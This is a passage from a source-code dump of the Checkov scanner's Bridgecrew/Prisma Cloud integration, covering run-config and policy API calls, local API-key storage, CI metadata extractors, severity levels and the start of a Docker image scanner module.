support and provide debug logs and the values below. You may be able to use the --skip-download option ' \\\n                                'to bypass this error, but this will prevent platform configurations (e.g., custom policies, suppressions) from ' \\\n                                f'being used in the scan.\\nRequest ID: {request_id}\\nTrace ID: {trace_id}'\n                logging.error(error_message)\n                raise Exception(error_message)\n            elif request.status != 200:\n                error_message = get_auth_error_message(request.status, self.is_prisma_integration(), False)\n                logging.error(error_message)\n                raise BridgecrewAuthError(error_message)\n            self.customer_run_config_response = json.loads(request.data.decode(\"utf8\"))\n\n            logging.debug(f\"Got customer run config from {platform_type} platform\")\n        except Exception as e:\n            logging.warning(f\"An unexpected error occurred getting the run configuration from {self.platform_run_config_url} \"\n                            \"after multiple retries. Please verify your API key and Prisma API URL, and retry. If the \"\n                            \"problem persists, please enable debug logs and contact support. The error is: \"\n                            f\"{e}\", exc_info=True)\n            raise\n\n    def get_reachability_run_config(self) -> Union[Dict[str, Any], None]:\n        if self.skip_download is True:\n            logging.debug(\"Skipping customer run config API call\")\n            return None\n\n        if not self.bc_api_key or not self.is_integration_configured():\n            raise Exception(\n                \"Tried to get customer run config, but the API key was missing or the integration was not set up\")\n\n        if not self.bc_source:\n            logging.error(\"Source was not set\")\n            return None\n\n        try:\n            token = self.get_auth_token()\n            headers = merge_dicts(get_auth_header(token),\n                                  get_default_get_headers(self.bc_source, self.bc_source_version),\n                                  self.custom_auth_headers)\n\n            self.setup_http_manager()\n            if not self.http:\n                logging.error(\"HTTP manager was not correctly created\")\n                return None\n\n            platform_type = PRISMA_PLATFORM if self.is_prisma_integration() else BRIDGECREW_PLATFORM\n\n            request = self.http.request(\"GET\", self.reachability_run_config_url,\n                                        headers=headers)  # type:ignore[no-untyped-call]\n            if request.status != 200:\n                error_message = get_auth_error_message(request.status, self.is_prisma_integration(), False)\n                logging.error(error_message)\n                raise BridgecrewAuthError(error_message)\n\n            logging.debug(f\"Got reachability run config from {platform_type} platform\")\n\n            res: Dict[str, Any] = json.loads(request.data.decode(\"utf8\"))\n            return res\n        except Exception:\n            logging.warning(f\"Failed to get the reachability run config from {self.reachability_run_config_url}\",\n                            exc_info=True)\n            raise\n\n    def get_runtime_run_config(self) -> None:\n        try:\n            if self.skip_download is True:\n                logging.debug(\"Skipping customer run config API call\")\n                raise\n\n            if not self.bc_api_key or not self.is_integration_configured():\n                raise Exception(\n                    \"Tried to get customer run config, but the API key was missing or the integration was not set up\")\n\n            if not self.bc_source:\n                logging.error(\"Source was not set\")\n                raise\n\n            token = self.get_auth_token()\n            headers = merge_dicts(get_auth_header(token),\n                                  get_default_get_headers(self.bc_source, self.bc_source_version),\n                                  self.custom_auth_headers)\n\n            self.setup_http_manager()\n            if not self.http:\n                logging.error(\"HTTP manager was not correctly created\")\n                raise\n\n            platform_type = PRISMA_PLATFORM if self.is_prisma_integration() else BRIDGECREW_PLATFORM\n            url = f\"{self.runtime_run_config_url}?repoId={self.repo_id}\"\n            request = self.http.request(\"GET\", url,\n                                        headers=headers)  # type:ignore[no-untyped-call]\n            if request.status != 200:\n                error_message = get_auth_error_message(request.status, self.is_prisma_integration(), False)\n                logging.error(error_message)\n                raise BridgecrewAuthError(error_message)\n\n            logging.debug(f\"Got run config from {platform_type} platform\")\n\n            self.runtime_run_config_response = json.loads(request.data.decode(\"utf8\"))\n        except Exception:\n            logging.debug('could not get runtime info for this repo')\n\n    def get_prisma_build_policies(self, policy_filter: str, policy_filter_exception: str) -> None:\n        \"\"\"\n        Get Prisma policy for enriching runConfig with metadata\n        Filters: https://prisma.pan.dev/api/cloud/cspm/policy#operation/get-policy-filters-and-options\n        :param policy_filter: comma separated filter string. Example, policy.label=A,cloud.type=aws\n        :param policy_filter_exception: comma separated filter string. Example, policy.label=A,cloud.type=aws\n        :return:\n        \"\"\"\n        if self.skip_download is True:\n            logging.debug(\"Skipping prisma policy API call\")\n            return\n        if not policy_filter and not policy_filter_exception:\n            return\n        if not self.is_prisma_integration():\n            return\n        if not self.bc_api_key or not self.is_integration_configured():\n            raise Exception(\n                \"Tried to get prisma build policy metadata, \"\n                \"but the API key was missing or the integration was not set up\")\n        self.prisma_policies_response = self.get_prisma_policies_for_filter(policy_filter)\n        self.prisma_policies_exception_response = self.get_prisma_policies_for_filter(policy_filter_exception)\n\n    def get_prisma_policies_for_filter(self, policy_filter: str) -> dict[Any, Any] | None:\n        request = None\n        filtered_policies = None\n        try:\n            token = self.get_auth_token()\n            headers = merge_dicts(get_prisma_auth_header(token), get_prisma_get_headers(), self.custom_auth_headers)\n\n            self.setup_http_manager()\n            if not self.http:\n                logging.error(\"HTTP manager was not correctly created\")\n                return filtered_policies\n\n            logging.debug(f'Prisma policy URL: {self.prisma_policies_url}')\n            query_params = convert_prisma_policy_filter_to_params(policy_filter)\n            if self.is_valid_policy_filter(query_params, valid_filters=self.get_prisma_policy_filters()):\n                # If enabled and subtype are not explicitly set, use the only acceptable values.\n                self.add_static_policy_filters(query_params)\n                logging.debug(f'Filter query params: {query_params}')\n\n                request = self.http.request(  # type:ignore[no-untyped-call]\n                    \"GET\",\n                    self.prisma_policies_url,\n                    headers=headers,\n                    fields=tuple(query_params),\n                )\n                logging.debug(\"Got Prisma build policy metadata\")\n                filtered_policies = json.loads(request.data.decode(\"utf8\"))\n        except Exception:\n            response_message = f': {request.status} - {request.reason}' if request else ''\n            logging.warning(\n                f\"Failed to get prisma build policy metadata from {self.prisma_policies_url}{response_message}\", exc_info=True)\n        return filtered_policies\n\n    @staticmethod\n    def add_static_policy_filters(query_params: list[tuple[str, str]]) -> list[tuple[str, str]]:\n        \"\"\"\n        Adds policy.enabled = true, policy.subtype = build to the query params, if these are not already present. Modifies the list in place and also returns it.\n        \"\"\"\n        if not any(p[0] == 'policy.enabled' for p in query_params):\n            query_params.append(('policy.enabled', 'true'))\n        if not any(p[0] == 'policy.subtype' for p in query_params):\n            query_params.append(('policy.subtype', 'build'))\n        return query_params\n\n    def get_prisma_policy_filters(self) -> Dict[str, Dict[str, Any]]:\n        request = None\n        try:\n            token = self.get_auth_token()\n            headers = merge_dicts(get_prisma_auth_header(token), get_prisma_get_headers(), self.custom_auth_headers)\n\n            self.setup_http_manager()\n            if not self.http:\n                logging.error(\"HTTP manager was not correctly created\")\n                return {}\n\n            logging.debug(f'Prisma filter URL: {self.prisma_policy_filters_url}')\n            request = self.http.request(  # type:ignore[no-untyped-call]\n                \"GET\",\n                self.prisma_policy_filters_url,\n                headers=headers,\n            )\n            policy_filters: dict[str, dict[str, Any]] = json.loads(request.data.decode(\"utf8\"))\n            logging.debug(f'Prisma filter suggestion response: {policy_filters}')\n            return policy_filters\n        except Exception:\n            response_message = f': {request.status} - {request.reason}' if request else ''\n            logging.warning(\n                f\"Failed to get prisma build policy metadata from {self.prisma_policy_filters_url}{response_message}\", exc_info=True)\n            return {}\n\n    @staticmethod\n    def is_valid_policy_filter(policy_filter: list[tuple[str, str]], valid_filters: dict[str, dict[str, Any]] | None = None) -> bool:\n        \"\"\"\n        Validates only the filter names\n        \"\"\"\n        valid_filters = valid_filters or {}\n\n        if not policy_filter:\n            return False\n        if not valid_filters:\n            return False\n        for filter_name, filter_value in policy_filter:\n            if filter_name not in valid_filters.keys():\n                logging.warning(f\"Invalid filter name: {filter_name}\")\n                logging.warning(f\"Available filter names: {', '.join(valid_filters.keys())}\")\n                return False\n            elif filter_name == 'policy.subtype' and filter_value != 'build':\n                logging.warning(f\"Filter value not allowed: {filter_value}\")\n                logging.warning(\"Available options: build\")\n                return False\n            elif filter_name == 'policy.enabled' and not convert_str_to_bool(filter_value):\n                logging.warning(f\"Filter value not allowed: {filter_value}\")\n                logging.warning(\"Available options: True\")\n                return False\n        logging.debug(\"policy filter is valid\")\n        return True\n\n    def get_public_run_config(self) -> None:\n        if self.skip_download is True:\n            logging.debug(\"Skipping checkov mapping and guidelines API call\")\n            return\n        try:\n            headers: dict[str, Any] = {}\n\n            self.setup_http_manager()\n            if not self.http:\n                logging.error(\"HTTP manager was not correctly created\")\n                return\n\n            request = self.http.request(\"GET\", self.guidelines_api_url, headers=headers)  # type:ignore[no-untyped-call]\n            if request.status >= 300:\n                request = self.http.request(  # type:ignore[no-untyped-call]\n                    \"GET\",\n                    self.guidelines_api_url_backoff,\n                    headers=headers,\n                )\n\n            self.public_metadata_response = json.loads(request.data.decode(\"utf8\"))\n            platform_type = PRISMA_PLATFORM if self.is_prisma_integration() else BRIDGECREW_PLATFORM\n            logging.debug(f\"Got checkov mappings and guidelines from {platform_type} platform\")\n        except Exception:\n            logging.warning(f\"Failed to get the checkov mappings and guidelines from {self.guidelines_api_url}. Skips using BC_* IDs will not work.\",\n                            exc_info=True)\n\n    def get_report_to_platform(self, args: argparse.Namespace, scan_reports: list[Report]) -> None:\n        if self.bc_api_key:\n\n            if args.directory:\n                repo_id = self.get_repository(args)\n                self.setup_bridgecrew_credentials(repo_id=repo_id)\n            if self.is_integration_configured():\n                self._upload_run(args, scan_reports)\n\n    # Added this to generate a default repo_id for cli scans for upload to the platform\n    # whilst also persisting a cli repo_id into the object\n    def persist_bc_api_key(self, args: argparse.Namespace) -> str | None:\n        if args.bc_api_key:\n            self.bc_api_key = args.bc_api_key\n        else:\n            # get the key from file\n            self.bc_api_key = read_key()\n        return self.bc_api_key\n\n    # Added this to generate a default repo_id for cli scans for upload to the platform\n    # whilst also persisting a cli repo_id into the object\n    def persist_repo_id(self, args: argparse.Namespace) -> str:\n        if args.repo_id is None:\n            if CI_METADATA_EXTRACTOR.from_branch:\n                self.repo_id = CI_METADATA_EXTRACTOR.from_branch\n            if args.directory:\n                basename = path.basename(os.path.abspath(args.directory[0]))\n                self.repo_id = f\"cli_repo/{basename}\"\n            if args.file:\n                # Get the base path of the file based on it's absolute path\n                basename = os.path.basename(os.path.dirname(os.path.abspath(args.file[0])))\n                self.repo_id = f\"cli_repo/{basename}\"\n\n        else:\n            self.repo_id = args.repo_id\n\n        if not self.repo_id:\n            # this should not happen\n            self.repo_id = \"cli_repo/unknown\"\n\n        return self.repo_id\n\n    def get_repository(self, args: argparse.Namespace) -> str:\n        if CI_METADATA_EXTRACTOR.from_branch:\n            return CI_METADATA_EXTRACTOR.from_branch\n        arg_dir = args.directory[0]\n        arg_dir.rstrip(os.path.sep)  # If directory ends with /, remove it. Does not remove any other character!!\n        basename = 'unnamed_repo' if path.basename(arg_dir) == '.' else path.basename(arg_dir)\n        repo_id = f\"cli_repo/{basename}\"\n        return repo_id\n\n    def _upload_run(self, args: argparse.Namespace, scan_reports: list[Report]) -> None:\n        print(Style.BRIGHT + colored(\"Connecting to Prisma Cloud...\", 'green',\n                                     attrs=['bold']) + Style.RESET_ALL)\n        self.persist_repository(args.directory[0])\n        print(Style.BRIGHT + colored(\"Metadata upload complete\", 'green',\n                                     attrs=['bold']) + Style.RESET_ALL)\n        self.persist_scan_results(scan_reports)\n        self.persist_sast_scan_results(scan_reports)\n        self.persist_cdk_scan_results(scan_reports)\n        print(Style.BRIGHT + colored(\"Report upload complete\", 'green',\n                                     attrs=['bold']) + Style.RESET_ALL)\n        self.commit_repository(args.branch)\n        print(Style.BRIGHT + colored(\n            \"COMPLETE! \\nYour results are in your Prisma Cloud account \\n\",\n            'green', attrs=['bold']) + Style.RESET_ALL)\n\n    def _input_orgname(self) -> str:\n        while True:\n            result = str(input('Organization name: ')).lower().strip()  # nosec\n            # remove spaces and special characters\n            result = ''.join(e for e in result if e.isalnum())\n            if result:\n                break\n        return result\n\n    def _input_visualize_results(self) -> str:\n        while True:\n            result = str(input('Visualize results? (y/n): ')).lower().strip()  # nosec\n            if result[:1] in [\"y\", \"n\"]:\n                break\n        return result\n\n    def _input_levelup_results(self) -> str:\n        while True:\n            result = str(input('Level up? (y/n): ')).lower().strip()  # nosec\n            if result[:1] in [\"y\", \"n\"]:\n                break\n        return result\n\n    def _input_email(self) -> str:\n        while True:\n            email = str(input('E-Mail: ')).lower().strip()  # nosec\n            if re.search(EMAIL_PATTERN, email):\n                break\n            else:\n                print(\"email should match the following pattern: {}\".format(EMAIL_PATTERN))\n        return email\n\n    @staticmethod\n    def loading_output(msg: str) -> None:\n        with trange(ACCOUNT_CREATION_TIME) as t:\n            for _ in t:\n                t.set_description(msg)\n                t.set_postfix(refresh=False)\n                sleep(SLEEP_SECONDS)\n\n    def repo_matches(self, repo_name: str) -> bool:\n        # matches xyz_org/repo or org/repo (where xyz is the BC org name and the CLI repo prefix from the platform)\n        return re.match(re.compile(f'^(\\\\w+_)?{self.repo_id}$'), repo_name) is not None\n\n    def get_default_headers(self, request_type: str) -> dict[str, Any]:\n        if not self.bc_source:\n            logging.warning(\"Source was not set\")\n            return {}\n\n        if request_type.upper() == \"GET\":\n            return merge_dicts(get_default_get_headers(self.bc_source, self.bc_source_version),\n                               {\"Authorization\": self.get_auth_token()},\n                               self.custom_auth_headers)\n        elif request_type.upper() == \"POST\":\n            return merge_dicts(get_default_post_headers(self.bc_source, self.bc_source_version),\n                               {\"Authorization\": self.get_auth_token()},\n                               self.custom_auth_headers)\n\n        logging.info(f\"Unsupported request {request_type}\")\n        return {}\n\n    # Define the function that will get the relay state from the Prisma Cloud Platform.\n    def get_sso_prismacloud_url(self, report_url: str) -> str:\n        if not bc_integration.prisma_api_url or not self.http or not self.bc_source or report_url is None:\n            return report_url or ''\n        url_saml_config = f\"{bc_integration.prisma_api_url}/saml/config\"\n        token = self.get_auth_token()\n        headers = merge_dicts(get_auth_header(token),\n                              get_default_get_headers(self.bc_source, self.bc_source_version),\n                              bc_integration.custom_auth_headers)\n\n        request = self.http.request(\"GET\", url_saml_config, headers=headers, timeout=10)  # type:ignore[no-untyped-call]\n        if request.status >= 300:\n            return report_url\n\n        data = json.loads(request.data.decode(\"utf8\"))\n\n        relay_state_param_name = data.get(\"relayStateParamName\")\n        access_saml_url = data.get(\"redLockAccessSamlUrl\")\n\n        if relay_state_param_name and access_saml_url:\n            parsed_url = urlparse(report_url)\n            uri = parsed_url.path\n            # If there are any query parameters, append them to the URI\n            if parsed_url.query:\n                uri = f\"{uri}?{parsed_url.query}\"\n\n                # First encoding\n                encoded_uri = urllib.parse.quote(uri)\n\n                # Second encoding\n                uri = urllib.parse.quote(encoded_uri)\n            # Check if the URL already contains GET parameters.\n            if \"?\" in access_saml_url:\n                report_url = f\"{access_saml_url}&{relay_state_param_name}={uri}\"\n            else:\n                report_url = f\"{access_saml_url}?{relay_state_param_name}={uri}\"\n\n        return report_url\n\n    def setup_on_prem(self) -> None:\n        if self.customer_run_config_response:\n            self.on_prem = self.customer_run_config_response.get('tenantConfig', {}).get('preventCodeUploads', False)\n            if self.on_prem:\n                logging.debug('On prem mode is enabled')\n\n\nbc_integration = BcPlatformIntegration()\n"
  },
  {
    "path": "checkov/common/bridgecrew/platform_key.py",
    "content": "from __future__ import annotations\n\nimport os\n\nfrom pathlib import Path\n\nhome = str(Path.home())\nbridgecrew_dir = f\"{home}/.bridgecrew\"\nbridgecrew_file = f\"{bridgecrew_dir}/credentials\"\n\n\ndef persist_key(key: str) -> None:\n    if not os.path.exists(bridgecrew_dir):\n        os.makedirs(bridgecrew_dir)\n    with open(bridgecrew_file, \"w\") as f:\n        f.write(key)\n\n\ndef read_key() -> str | None:\n    key = None\n    if os.path.exists(bridgecrew_file):\n        with open(bridgecrew_file, \"r\") as f:\n            key = f.readline() or None  # in Mac, if the credentials file is empty, f.readline() == '' and it causes bugs\n    return key\n"
  },
  {
    "path": "checkov/common/bridgecrew/run_metadata/__init__.py",
    "content": "from checkov.common.bridgecrew.run_metadata.extractors import *  # noqa"
  },
  {
    "path": "checkov/common/bridgecrew/run_metadata/abstract_run_metadata_extractor.py",
    "content": "from abc import abstractmethod\nfrom checkov.common.bridgecrew.run_metadata.registry import registry\nfrom checkov.common.bridgecrew.run_metadata.ci_variables import (\n    BC_TO_BRANCH,\n    BC_PR_ID,\n    BC_PR_URL,\n    BC_COMMIT_HASH,\n    BC_COMMIT_URL,\n    BC_AUTHOR_NAME,\n    BC_AUTHOR_URL,\n    BC_RUN_ID,\n    BC_RUN_URL,\n    BC_REPOSITORY_URL,\n    BC_FROM_BRANCH,\n)\n\n\nclass RunMetaDataExtractor:\n    def __init__(\n        self,\n        from_branch: str,\n        to_branch: str,\n        pr_id: str,\n        pr_url: str,\n        commit_hash: str,\n        commit_url: str,\n        author_name: str,\n        author_url: str,\n        run_id: str,\n        run_url: str,\n        repository_url: str,\n    ):\n        self.from_branch = from_branch\n        self.to_branch = to_branch\n        self.pr_id = pr_id\n        self.pr_url = pr_url\n        self.commit_hash = commit_hash\n        self.commit_url = commit_url\n        self.author_name = author_name\n        self.author_url = author_url\n        self.run_id = run_id\n        self.run_url = run_url\n        self.repository_url = repository_url\n        self.override_metadata_from_env_variables()\n        registry.register(extractor=self)\n\n    def override_metadata_from_env_variables(self) -> None:\n        if BC_FROM_BRANCH:\n            self.from_branch = BC_FROM_BRANCH\n        if BC_TO_BRANCH:\n            self.to_branch = BC_TO_BRANCH\n        if BC_PR_ID:\n            self.pr_id = BC_PR_ID\n        if BC_PR_URL:\n            self.pr_url = BC_PR_URL\n        if BC_COMMIT_HASH:\n            self.commit_hash = BC_COMMIT_HASH\n        if BC_COMMIT_URL:\n            self.commit_url = BC_COMMIT_URL\n        if BC_AUTHOR_NAME:\n            self.author_name = BC_AUTHOR_NAME\n        if BC_AUTHOR_URL:\n            self.author_url = BC_AUTHOR_URL\n        if BC_RUN_ID:\n            self.run_id = BC_RUN_ID\n        if BC_RUN_URL:\n            self.run_url = BC_RUN_URL\n        if BC_REPOSITORY_URL:\n            self.repository_url = BC_REPOSITORY_URL\n\n    @abstractmethod\n    def is_current_ci(self) -> bool:\n        pass\n"
  },
  {
    "path": "checkov/common/bridgecrew/run_metadata/ci_variables.py",
    "content": "import os\n\nBC_FROM_BRANCH = os.getenv('BC_FROM_BRANCH', \"\")\nBC_TO_BRANCH = os.getenv('BC_TO_BRANCH', \"\")\nif not BC_TO_BRANCH:  # support flow of direct commit from the branch into the same branch\n    BC_TO_BRANCH = BC_FROM_BRANCH\nBC_PR_ID = os.getenv('BC_PR_ID', \"\")\nBC_PR_URL = os.getenv('BC_PR_URL', \"\")\nBC_COMMIT_HASH = os.getenv('BC_COMMIT_HASH', \"\")\nBC_COMMIT_URL = os.getenv('BC_COMMIT_URL', \"\")\nBC_AUTHOR_NAME = os.getenv('BC_AUTHOR_NAME', \"\")\nBC_AUTHOR_URL = os.getenv('BC_AUTHOR_URL', \"\")\nBC_RUN_ID = os.getenv('BC_RUN_ID', \"\")\nBC_RUN_URL = os.getenv('BC_RUN_URL', \"\")\nBC_REPOSITORY_URL = os.getenv('BC_REPOSITORY_URL', \"\")\n"
  },
  {
    "path": "checkov/common/bridgecrew/run_metadata/extractors/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/common/bridgecrew/run_metadata/extractors/bitbucket.py",
    "content": "import os\n\nfrom checkov.common.bridgecrew.run_metadata.abstract_run_metadata_extractor import RunMetaDataExtractor\n\n\nclass BitbucketRunMetadataExtractor(RunMetaDataExtractor):\n    def is_current_ci(self) -> bool:\n        if os.getenv(\"BITBUCKET_BUILD_NUMBER\", \"\") and os.getenv(\"CI\", \"\"):\n            return True\n        return False\n\n    def __init__(self) -> None:\n        from_branch = os.getenv('BITBUCKET_BRANCH', \"master\")\n        to_branch = os.getenv('BITBUCKET_PR_DESTINATION_BRANCH', \"\")\n        pr_id = os.getenv(\"BITBUCKET_PR_ID\", \"\")\n        pr_url = \"\"\n        commit_hash = os.getenv(\"BITBUCKET_COMMIT\", \"\")\n        repository_url = os.getenv(\"BITBUCKET_GIT_HTTP_ORIGIN\", \"\")\n        commit_url = \"\"\n        author_name = \"\"\n        author_url = \"\"\n        run_id = os.getenv(\"BITBUCKET_BUILD_NUMBER\", \"\")\n        run_url = \"\"\n\n        super().__init__(from_branch=from_branch,\n                         to_branch=to_branch,\n                         pr_id=pr_id,\n                         pr_url=pr_url,\n                         commit_hash=commit_hash,\n                         commit_url=commit_url,\n                         author_name=author_name,\n                         author_url=author_url,\n                         run_id=run_id,\n                         run_url=run_url,\n                         repository_url=repository_url)\n\n\nextractor = BitbucketRunMetadataExtractor()\n"
  },
  {
    "path": "checkov/common/bridgecrew/run_metadata/extractors/default_extractor.py",
    "content": "from checkov.common.bridgecrew.run_metadata.abstract_run_metadata_extractor import RunMetaDataExtractor\n\n\nclass DefaultRunMetadataExtractor(RunMetaDataExtractor):\n    def is_current_ci(self) -> bool:\n        return False\n\n    def __init__(self) -> None:\n        from_branch = \"\"\n        to_branch = \"\"\n        pr_id = \"\"\n        pr_url = \"\"\n        commit_hash = \"\"\n        repository_url = \"\"\n        commit_url = \"\"\n        author_name = \"\"\n        author_url = \"\"\n        run_id = \"\"\n        run_url = \"\"\n\n        super().__init__(from_branch=from_branch,\n                         to_branch=to_branch,\n                         pr_id=pr_id,\n                         pr_url=pr_url,\n                         commit_hash=commit_hash,\n                         commit_url=commit_url,\n                         author_name=author_name,\n                         author_url=author_url,\n                         run_id=run_id,\n                         run_url=run_url,\n                         repository_url=repository_url)\n\n\nextractor = DefaultRunMetadataExtractor()\n"
  },
  {
    "path": "checkov/common/bridgecrew/run_metadata/extractors/github_actions.py",
    "content": "import os\n\nfrom checkov.common.bridgecrew.run_metadata.abstract_run_metadata_extractor import RunMetaDataExtractor\n\n\nclass GithubActionsRunMetadataExtractor(RunMetaDataExtractor):\n    def is_current_ci(self) -> bool:\n        if os.getenv(\"GITHUB_ACTIONS\", \"\"):\n            return True\n        return False\n\n    def __init__(self) -> None:\n        server_url = os.getenv('GITHUB_SERVER_URL', '')\n        from_branch = os.getenv('GIT_BRANCH', \"master\")\n        to_branch = os.getenv('GITHUB_BASE_REF', \"\")\n        pr_id = os.getenv(\"$GITHUB_REF\", \"//\").split(\"/\")[2]\n        repository = os.getenv('GITHUB_REPOSITORY', \"\")\n        pr_url = f\"{server_url}/{repository}/pull/{pr_id}\"\n        commit_hash = os.getenv(\"GITHUB_SHA\", \"\")\n        commit_url = f\"{server_url}/{repository}/commit/${commit_hash}\"\n        author_name = os.getenv(\"GITHUB_ACTOR\", \"\")\n        author_url = f\"{server_url}/{author_name}\"\n        run_id = os.getenv(\"GITHUB_RUN_NUMBER\", \"\")\n        run_url = f\"{server_url}/{repository}/actions/runs/{run_id}\"\n        repository_url = f\"{server_url}/{repository}\"\n\n        super().__init__(from_branch=from_branch,\n                         to_branch=to_branch,\n                         pr_id=pr_id,\n                         pr_url=pr_url,\n                         commit_hash=commit_hash,\n                         commit_url=commit_url,\n                         author_name=author_name,\n                         author_url=author_url,\n                         run_id=run_id,\n                         run_url=run_url,\n                         repository_url=repository_url)\n\n\nextractor = GithubActionsRunMetadataExtractor()\n"
  },
  {
    "path": "checkov/common/bridgecrew/run_metadata/extractors/gitlab_ci.py",
    "content": "import os\n\nfrom checkov.common.bridgecrew.run_metadata.abstract_run_metadata_extractor import RunMetaDataExtractor\n\n\nclass GitLabRunMetadataExtractor(RunMetaDataExtractor):\n    def is_current_ci(self) -> bool:\n        if os.getenv(\"GITLAB_CI\", \"\"):\n            return True\n        return False\n\n    def __init__(self) -> None:\n        server_url = os.getenv('CI_SERVER_URL', '')\n        from_branch = os.getenv('GIT_BRANCH', \"master\")\n        to_branch = os.getenv('CI_MERGE_REQUEST_TARGET_BRANCH_NAME', \"\")\n        pr_id = os.getenv(\"CI_MERGE_REQUEST_ID\", \"\")\n        pr_url = os.getenv(\"CI_MERGE_REQUEST_PROJECT_URL\", \"\")\n        commit_hash = os.getenv(\"CI_COMMIT_SHORT_SHA\", \"\")\n        repository_url = os.getenv(\"CI_PROJECT_URL\", \"\")\n        long_commit_hash = os.getenv(\"CI_COMMIT_SHA\", \"\")\n        commit_url = f\"{repository_url}/-/commit/${long_commit_hash}\"\n        author_name = os.getenv(\"CI_COMMIT_AUTHOR\", \"\")\n        author_url = f\"{server_url}/{author_name}\"\n        run_id = os.getenv(\"CI_PIPELINE_ID\", \"\")\n        run_url = os.getenv(\"CI_PIPELINE_URL\", \"\")\n\n        super().__init__(from_branch=from_branch,\n                         to_branch=to_branch,\n                         pr_id=pr_id,\n                         pr_url=pr_url,\n                         commit_hash=commit_hash,\n                         commit_url=commit_url,\n                         author_name=author_name,\n                         author_url=author_url,\n                         run_id=run_id,\n                         run_url=run_url,\n                         repository_url=repository_url)\n\n\nextractor = GitLabRunMetadataExtractor()\n"
  },
  {
    "path": "checkov/common/bridgecrew/run_metadata/extractors/jenkins.py",
    "content": "import os\n\nfrom checkov.common.bridgecrew.run_metadata.abstract_run_metadata_extractor import RunMetaDataExtractor\n\n\nclass JenkinsRunMetadataExtractor(RunMetaDataExtractor):\n    def is_current_ci(self) -> bool:\n        if os.getenv(\"JENKINS_URL\", \"\"):\n            return True\n        return False\n\n    def __init__(self) -> None:\n        server_url = os.getenv('JENKINS_URL', '')\n        from_branch = os.getenv('ghprbSourceBranch', \"master\")\n        to_branch = os.getenv('ghprbTargetBranch', \"\")\n        pr_id = os.getenv(\"ghprbPullId\", \"\")\n        pr_url = os.getenv(\"ghprbPullLink\", \"\")\n        commit_hash = os.getenv(\"ghprbActualCommit\", \"\")\n        repository_url = server_url\n        commit_url = server_url\n        author_name = os.getenv(\"ghprbActualCommitAuthor\", \"\")\n        author_url = server_url\n        run_id = os.getenv(\"BUILD_NUMBER\", \"\")\n        run_url = os.getenv(\"BUILD_URL\", \"\")\n\n        super().__init__(from_branch=from_branch,\n                         to_branch=to_branch,\n                         pr_id=pr_id,\n                         pr_url=pr_url,\n                         commit_hash=commit_hash,\n                         commit_url=commit_url,\n                         author_name=author_name,\n                         author_url=author_url,\n                         run_id=run_id,\n                         run_url=run_url,\n                         repository_url=repository_url)\n\n\nextractor = JenkinsRunMetadataExtractor()\n"
  },
  {
    "path": "checkov/common/bridgecrew/run_metadata/registry.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nif TYPE_CHECKING:\n    from checkov.common.bridgecrew.run_metadata.abstract_run_metadata_extractor import RunMetaDataExtractor\n\n\nclass RunMetadataExtractorsRegistry:\n    def __init__(self) -> None:\n        self.extractors: set[RunMetaDataExtractor] = set()\n\n    def register(self, extractor: RunMetaDataExtractor) -> None:\n        self.extractors.add(extractor)\n\n    def get_extractor(self) -> RunMetaDataExtractor:\n        for extractor in self.extractors:\n            if extractor.is_current_ci():\n                return extractor\n        for extractor in self.extractors:\n            if extractor.__class__.__name__ == \"DefaultRunMetadataExtractor\":\n                return extractor\n\n        # should never be reached\n        from checkov.common.bridgecrew.run_metadata.extractors.default_extractor import DefaultRunMetadataExtractor\n        return DefaultRunMetadataExtractor()\n\n\nregistry = RunMetadataExtractorsRegistry()\n"
  },
  {
    "path": "checkov/common/bridgecrew/severities.py",
    "content": "from dataclasses import dataclass\nfrom typing import Optional\n\n\nclass Severity:\n    __slots__ = (\"level\", \"name\")\n\n    def __init__(self, name: str, level: int) -> None:\n        self.name = name\n        self.level = level\n\n    def __repr__(self) -> str:\n        return self.name\n\n    def __str__(self) -> str:\n        return self.name\n\n\n@dataclass\nclass BcSeverities:\n    NONE = 'NONE'\n    INFO = 'INFO'\n    LOW = 'LOW'\n    MEDIUM = 'MEDIUM'\n    HIGH = 'HIGH'\n    CRITICAL = 'CRITICAL'\n    MODERATE = 'MODERATE'\n    IMPORTANT = 'IMPORTANT'\n    OFF = 'OFF'\n\n\nSeverities = {\n    BcSeverities.NONE: Severity(BcSeverities.NONE, -999),\n    BcSeverities.INFO: Severity(BcSeverities.INFO, 1),\n    BcSeverities.LOW: Severity(BcSeverities.LOW, 2),\n    BcSeverities.MEDIUM: Severity(BcSeverities.MEDIUM, 3),\n    BcSeverities.MODERATE: Severity(BcSeverities.MEDIUM, 3),\n    BcSeverities.HIGH: Severity(BcSeverities.HIGH, 4),\n    BcSeverities.IMPORTANT: Severity(BcSeverities.HIGH, 4),\n    BcSeverities.CRITICAL: Severity(BcSeverities.CRITICAL, 5),\n    BcSeverities.OFF: Severity(BcSeverities.OFF, 999),\n}\n\n\ndef get_severity(severity: Optional[str]) -> Optional[Severity]:\n    if not severity:\n        return None\n    return Severities.get(severity.upper())\n"
  },
  {
    "path": "checkov/common/bridgecrew/vulnerability_scanning/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/bridgecrew/vulnerability_scanning/image_scanner.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport subprocess  # nosec\nfrom pathlib import Path\nfrom typing import Union, Dict, Any\nimport asyncio\nfrom urllib.parse import quote_plus\n\nimport docker\nimport json\nimport os\nimport time\n\nfrom yarl import URL\n\nfrom checkov.common.bridgecrew.vulnerability_scanning.integrations.docker_image_scanning import \\\n    docker_image_scanning_integration\nfrom checkov.common.bridgecrew.platform_integration import bc_integration\nfrom checkov.common.util.file_utils import decompress_file_gzip_base64\nfrom checkov.common.util.http_utils import request_wrapper, aiohttp_client_session_wrapper\nfrom checkov.common.bridgecrew.platform_key import bridgecrew_dir\n\nTWISTCLI_FILE_NAME = 'twistcli'\nDOCKER_IMAGE_SCAN_RESULT_FILE_NAME = 'docker-image-scan-results.json'\nCHECKOV_SEC_IN_WEEK = 604800\n\n\ndef generate_image_name() -> str:\n    return f'repository/image{str(time.time() * 1000)}'\n\n\ndef _get_docker_image_name(docker_image_id: str) -> str:\n    try:\n        docker_client = docker.from_env()\n        image_name: str = docker_client.images.get(docker_image_id).attrs['RepoDigests'][0].split('@')[0]\n        return image_name\n    except Exception:\n        logging.info(\"Failed to fetch image name.\", exc_info=True)\n        return 